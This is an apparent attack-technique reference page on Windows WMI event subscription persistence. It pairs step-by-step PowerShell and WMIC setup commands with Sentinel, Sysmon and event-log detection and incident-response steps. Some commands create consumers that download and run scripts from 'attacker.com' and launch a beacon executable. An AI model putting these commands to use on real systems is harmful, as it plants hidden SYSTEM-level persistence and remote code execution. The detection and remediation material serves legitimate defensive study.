MCADDF

[PERSIST-EVENT-001]: WMI Event Subscriptions

Metadata

Attribute Details
Technique ID PERSIST-EVENT-001
MITRE ATT&CK v18.1 T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription
Tactic Persistence, Privilege Escalation
Platforms Windows Endpoint, Windows AD
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-09
Affected Versions Server 2016, Server 2019, Server 2022, Server 2025, Windows 10/11
Patched In Not fully patched; requires detection-based remediation
Author SERVTEP – Artur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: WMI Event Subscriptions enable attackers to execute arbitrary code whenever a specified WMI event occurs (e.g., process creation, file modification, registry change). By creating persistent event subscriptions with malicious event filters and consumers, attackers can achieve code execution without traditional scheduled tasks or registry Run keys. The subscription remains active across reboots and is executed with the privileges of the WMI service (typically SYSTEM).

Attack Surface: WMI Repository (C:\Windows\System32\wbem\Repository\), WMI classes (EventFilter, EventConsumer, FilterToConsumerBinding), and WMI scripting interfaces (IWbemServices).

Business Impact: Undetectable Persistence. An attacker gains automatic code execution every time the specified event triggers (e.g., any user login, any process start). This provides hands-off persistence, difficult to detect during standard endpoint scans, and survives antivirus quarantine if AV doesn’t specifically monitor WMI classes.

Technical Context: WMI event subscriptions execute within the WMI service process (wmiprvse.exe), typically running as SYSTEM. They bypass traditional scheduled task enumeration. Most legacy monitoring tools do not alert on WMI subscription creation. Persistence lasts indefinitely unless the subscription classes are explicitly deleted from the WMI repository.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 18.9.4.1 Ensure ‘Audit WMI Event Subscription’ is set to ‘Success and Failure’
DISA STIG WN16-AU-000220 Windows Server must be configured to audit WMI Event Subscription activity
NIST 800-53 AU-2 Audit and Accountability - Event selection and generation
NIST 800-53 SI-7 System Monitoring - Information System Monitoring
GDPR Art. 32 Security of Processing - Technical and organizational measures
NIS2 Art. 21(1)(a) Cyber Risk Management - Detection of anomalies and incidents
ISO 27001 A.12.4.1 Event Logging
ISO 27001 A.12.4.3 Protection of Log Information
ISO 27005 5.3 Risk Assessment - Identification of Information Assets and Threats

3. TECHNICAL PREREQUISITES

Required Privileges: Administrator (Local or Domain Admin) to create WMI event subscriptions. Non-admin users cannot create subscriptions in the WMI repository.

Required Access: Local administrative access OR remote WMI access via DCOM (TCP 135, dynamic high ports) to a target machine.

Supported Versions:

Tools:

4. ENVIRONMENTAL RECONNAISSANCE

PowerShell Reconnaissance

Check Existing WMI Subscriptions:

# Query all WMI Event Filters
Get-WmiObject -Namespace "root\subscription" -Class "__EventFilter" -ErrorAction SilentlyContinue | Select Name, Query

# Query all WMI Event Consumers
Get-WmiObject -Namespace "root\subscription" -Class "__EventConsumer" -ErrorAction SilentlyContinue | Select Name

# Query all Bindings (connections between filters and consumers)
Get-WmiObject -Namespace "root\subscription" -Class "__FilterToConsumerBinding" -ErrorAction SilentlyContinue | Select Filter, Consumer

What to Look For:

Version Note: All commands work identically on Server 2016-2025 and Windows 10/11.

Check WMI Repository Permissions

# Check NTFS permissions on WMI Repository
icacls "C:\Windows\System32\wbem\Repository"

What to Look For:

5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Using PowerShell - Create WMI Event Filter + Consumer + Binding

Supported Versions: Server 2016-2025, Windows 10/11 (all versions)

Step 1: Create an Event Filter (Define the Trigger)

Objective: Define the WMI event that will trigger code execution (e.g., every process creation).

Command:

# Define the WMI Event Filter
$EventFilter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter `
  -Arguments @{
    Name = "TriggerOnProcessCreate"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceCreation WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name NOT LIKE '%wmiprvse.exe'"
  }

Expected Output:

__NAMESPACE : root\subscription
__CLASS    : __EventFilter
__RELPATH  : __EventFilter.Name="TriggerOnProcessCreate"
__PROPERTY_COUNT : 4
__DERIVATION : {__NamedValueSet}
...

What This Means:

OpSec & Evasion:

Troubleshooting:

References:

Step 2: Create an Event Consumer (Define the Action)

Objective: Define what code executes when the filter triggers.

Command (ActiveScript Consumer - Execute PowerShell):

# Create an ActiveScript Event Consumer
$EventConsumer = Set-WmiInstance -Namespace root\subscription -Class ActiveScriptEventConsumer `
  -Arguments @{
    Name = "LogProcessCreation"
    ScriptingEngine = "PowerShell"
    ScriptText = 'powershell.exe -Command "Add-Content -Path C:\Logs\process.log -Value (Get-Date -Format \"yyyy-MM-dd HH:mm:ss\") -Force"'
  }

Expected Output:

__NAMESPACE : root\subscription
__CLASS    : ActiveScriptEventConsumer
__RELPATH  : ActiveScriptEventConsumer.Name="LogProcessCreation"
...

What This Means:

Alternative Consumer (CommandLine):

# Use CommandLineEventConsumer for simple executables
$EventConsumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer `
  -Arguments @{
    Name = "ExecuteMalware"
    CommandLineTemplate = "cmd.exe /c C:\Temp\beacon.exe"
  }

OpSec & Evasion:

Troubleshooting:

References:

Step 3: Create FilterToConsumerBinding (Connect Filter to Consumer)

Objective: Link the filter to the consumer to activate persistence.

Command:

# Bind the Event Filter to the Event Consumer
$Binding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding `
  -Arguments @{
    Filter = $EventFilter
    Consumer = $EventConsumer
  }

Expected Output:

__NAMESPACE : root\subscription
__CLASS    : __FilterToConsumerBinding
__RELPATH  : __FilterToConsumerBinding.Filter="__EventFilter.Name=\"TriggerOnProcessCreate\"",Consumer="ActiveScriptEventConsumer.Name=\"LogProcessCreation\""
...

What This Means:

OpSec & Evasion:

Complete Persistence Script (One-Liner for Copy-Paste):

# Full WMI persistence in one script
$NS = "root\subscription"
$Filter = Set-WmiInstance -Namespace $NS -Class __EventFilter -Arguments @{Name="Win32Shutdown";QueryLanguage="WQL";Query="SELECT * FROM __InstanceCreation WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='cmd.exe'"}
$Consumer = Set-WmiInstance -Namespace $NS -Class ActiveScriptEventConsumer -Arguments @{Name="Shutdown";ScriptingEngine="PowerShell";ScriptText="powershell.exe -Command 'IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/payload.ps1\")'"} 
$Binding = Set-WmiInstance -Namespace $NS -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer}

METHOD 2: Using WMIC (Legacy, Deprecated but Functional)

Supported Versions: Server 2016-2022 (deprecated in Windows 11, but still functional)

Step 1: Create Event Filter via WMIC

Command:

wmic /namespace:"\\.\root\subscription" PATH __EventFilter CREATE Name="ProcessMonitor",QueryLanguage="WQL",Query="SELECT * FROM __InstanceCreation WITHIN 5 WHERE TargetInstance ISA 'Win32_Process'"

Expected Output:

Instantiating \\.\root\subscription:__EventFilter.Name="ProcessMonitor"
Method execution successful.

Step 2: Create Event Consumer via WMIC

Command:

wmic /namespace:"\\.\root\subscription" PATH CommandLineEventConsumer CREATE Name="ExecutePayload",CommandLineTemplate="powershell.exe -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"

Step 3: Bind Filter to Consumer via WMIC

Command:

wmic /namespace:"\\.\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name='ProcessMonitor'",Consumer="CommandLineEventConsumer.Name='ExecutePayload'"

OpSec & Evasion:

METHOD 3: Direct WMI Repository Manipulation (Advanced)

Supported Versions: Server 2016-2025

Objective: Directly modify the WMI repository binary files to avoid WMI API logging.

Prerequisites: Must stop the WMI service and have raw file access.

Command:

# Stop WMI Service
Stop-Service WinRM -Force
Stop-Service Winmgmt -Force

# Backup original repository
Copy-Item -Path "C:\Windows\System32\wbem\Repository" -Destination "C:\Windows\System32\wbem\Repository.backup" -Recurse

# Extract and modify repository (requires binary editing tools)
# This is highly advanced and not recommended for most attackers; included for completeness

# Restart services
Start-Service Winmgmt
Start-Service WinRM

What This Means:

7. TOOLS & COMMANDS REFERENCE

PowerShell Cmdlet: Set-WmiInstance

Version: PowerShell 3.0+ (built-in)

Minimum Version: PowerShell 3.0

Supported Platforms: Windows 7+, Server 2008 R2+

Usage:

Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter -Arguments @{ ... }

Parameters:

WMIC (Windows Management Instrumentation Command-line)

Version: Deprecated in Windows 11 22H2+; last functional version in Server 2022

Minimum Version: Windows XP SP2

Supported Platforms: Windows 2000+, Server 2003+

Deprecation Note: Microsoft recommends PowerShell or CIM cmdlets instead of WMIC

Usage:

wmic /namespace:"\\.\root\subscription" PATH __EventFilter CREATE ...

Repository Analysis Tool: WMI Event Subscription Persistence PoC

Version: 1.0

Minimum Version: N/A (standalone script)

Supported Platforms: Windows 7+, Server 2008+

Installation:

git clone https://github.com/Malandrone/WMI-Persistence.git
cd WMI-Persistence
.\WMI-Persistence.ps1

9. MICROSOFT SENTINEL DETECTION

Query 1: WMI Event Filter Creation

Rule Configuration:

KQL Query:

// Detect WMI Event Filter Creation
SecurityEvent
| where EventID == 4688
| where CommandLine has_any ("Set-WmiInstance", "wmic", "CommandLineEventConsumer", "__EventFilter", "__FilterToConsumerBinding")
| where CommandLine contains "root\\subscription"
| project TimeGenerated, Computer, SubjectUserName, CommandLine, ParentProcessName
| extend AlertSeverity = "High"

What This Detects:

Alternative Query (File-Based Detection via Sysmon):

SysmonEvent
| where EventID == 11  // FileCreate
| where TargetFilename has_all ("wbem", "Repository")
| where Image != "Winmgmt.exe"
| project TimeGenerated, Computer, Image, TargetFilename, CreationUtcTime

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure Portal → Microsoft Sentinel → Analytics
  2. Click + Create → Scheduled query rule
  3. General Tab:
    • Name: WMI Event Subscription Persistence Detected
    • Severity: High
  4. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  5. Incident settings Tab:
    • Enable Create incidents
  6. Click Review + create

Manual Configuration Steps (PowerShell):

# Requires Azure Sentinel PowerShell module
$KqlQuery = @"
SecurityEvent
| where EventID == 4688
| where CommandLine has_any ("Set-WmiInstance", "wmic")
| where CommandLine contains "root\\subscription"
"@

# Create the rule
New-AzSentinelAlertRule -ResourceGroupName "YourRG" -WorkspaceName "YourWorkspace" `
  -DisplayName "WMI Event Subscription Persistence" `
  -Query $KqlQuery `
  -Severity "High" `
  -Enabled $true

10. WINDOWS EVENT LOG MONITORING

Event ID: 4688 (Process Creation)

Event ID: 5857 (WMI Event Subscription)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → System Audit Policies → Object Access
  3. Enable: Audit WMI Event Subscription
  4. Set to: Success and Failure
  5. Run gpupdate /force on target machines

Manual Configuration Steps (Local Policy):

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to Security Settings → Advanced Audit Policy Configuration → System Audit Policies → Object Access
  3. Enable: Audit WMI Event Subscription
  4. Restart the machine or run: auditpol /set /subcategory:"WMI Event Subscription" /success:enable /failure:enable

Manual Configuration Steps (Enable WMI Activity Logging):

  1. Open Event Viewer (eventvwr.msc)
  2. Navigate to Applications and Services Logs → Microsoft → Windows → WMI-Activity → Operational
  3. Right-click Operational → Properties
  4. Check Enable logging (if not already checked)
  5. Click OK

11. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 10.0+

Supported Platforms: Windows 7+, Server 2008+

Sysmon Configuration Snippet:

<Sysmon schemaversion="4.82">
  <!-- Monitor WMI Activity -->
  <EventFilter>
    <!-- Monitor for WMI Repository Access -->
    <RuleGroup name="WMI" groupRelation="or">
      <!-- Monitor Process Creation with WMI Keywords -->
      <ProcessCreate onmatch="exclude">
        <CommandLine condition="contains">Set-WmiInstance</CommandLine>
      </ProcessCreate>
      <ProcessCreate onmatch="include">
        <CommandLine condition="contains">root\subscription</CommandLine>
      </ProcessCreate>
      <!-- Monitor for wmiprvse.exe suspicious behavior -->
      <CreateRemoteThread onmatch="include">
        <SourceImage condition="image">wmiprvse.exe</SourceImage>
      </CreateRemoteThread>
    </RuleGroup>
  </EventFilter>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create a config file sysmon-wmi-config.xml with the XML above
  3. Install Sysmon with the config: 
    sysmon64.exe -accepteula -i sysmon-wmi-config.xml
  4. Verify installation: 
    Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[System[EventID=1 and Computer='YourComputer']]" -MaxEvents 10

12. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Suspicious WMI Event Subscription Created”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure Portal → Microsoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Servers Plan 2 (for threat detection)
  5. Click Save
  6. Go to Security alerts to view triggered alerts

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Validation Command (Verify Fix)

# Verify WMI Event Subscriptions are removed
$Filters = Get-WmiObject -Namespace "root\subscription" -Class "__EventFilter" -ErrorAction SilentlyContinue
$Consumers = Get-WmiObject -Namespace "root\subscription" -Class "*EventConsumer" -ErrorAction SilentlyContinue
$Bindings = Get-WmiObject -Namespace "root\subscription" -Class "__FilterToConsumerBinding" -ErrorAction SilentlyContinue

if ($Filters -eq $null -and $Consumers -eq $null -and $Bindings -eq $null) {
    Write-Host "✓ SECURE: No WMI event subscriptions detected"
} else {
    Write-Host "✗ UNSAFE: Suspicious WMI event subscriptions found"
    Write-Host "Filters: $($Filters | Select -ExpandProperty Name)"
    Write-Host "Consumers: $($Consumers | Select -ExpandProperty Name)"
}

Expected Output (If Secure):

✓ SECURE: No WMI event subscriptions detected

What to Look For:

15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Disconnect the affected system from the network immediately. Command: 
    Disable-NetAdapter -Name "Ethernet" -Confirm:$false

    Manual:

    • Unplug network cable OR disable NIC in Device Manager
  2. Collect Evidence: 
    # Export WMI Repository
Copy-Item -Path "C:\Windows\System32\wbem\Repository" -Destination "C:\Evidence\WMI-Repository-Backup" -Recurse
    
# Export Event Logs
wevtutil epl Security C:\Evidence\Security.evtx
wevtutil epl Microsoft-Windows-WMI-Activity/Operational C:\Evidence\WMI-Activity.evtx
    
# Export WMI subscriptions
Get-WmiObject -Namespace "root\subscription" -Class "__EventFilter" | Export-Clixml C:\Evidence\Filters.xml
  3. Remediate: 
    # Remove all WMI Event Subscriptions
Get-WmiObject -Namespace "root\subscription" -Class "__FilterToConsumerBinding" | Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class "*EventConsumer" | Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class "__EventFilter" | Remove-WmiObject
    
# Restart WMI Service
Restart-Service Winmgmt -Force

  4. Validate: Run the validation command from section 14 to confirm removal.

  5. Hunt for Related Activity:
    • Check process creation logs for suspicious PowerShell or WMIC execution
    • Review all administrator accounts for unauthorized changes
    • Audit all RPC connections to the affected system
Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker gains initial code execution via phishing
2 Privilege Escalation [PE-TOKEN-002] RBCD Abuse Attacker elevates to Local Admin or Domain Admin
3 Persistence (Current Step) [PERSIST-EVENT-001] WMI Event Subscription Created for Persistence
4 Defense Evasion [PERSIST-EVENT-001] Modify Event Logs Attacker clears Event ID 4688 logs to hide WMI subscription creation
5 Command & Control [LATERAL-AUTH-001] Pass-the-Hash Attacker uses harvested credentials for lateral movement
6 Impact [IMPACT-DATA-001] Data Exfiltration WMI subscription triggers data theft script

17. REAL-WORLD EXAMPLES

Example 1: APT29 (Cozy Bear) - NOBELIUM Campaign

Example 2: Lazarus Group - MATA Framework

Example 3: FIN7 (Carbanak) - Operational Technology (OT) Attack

This site is open source. Improve this page.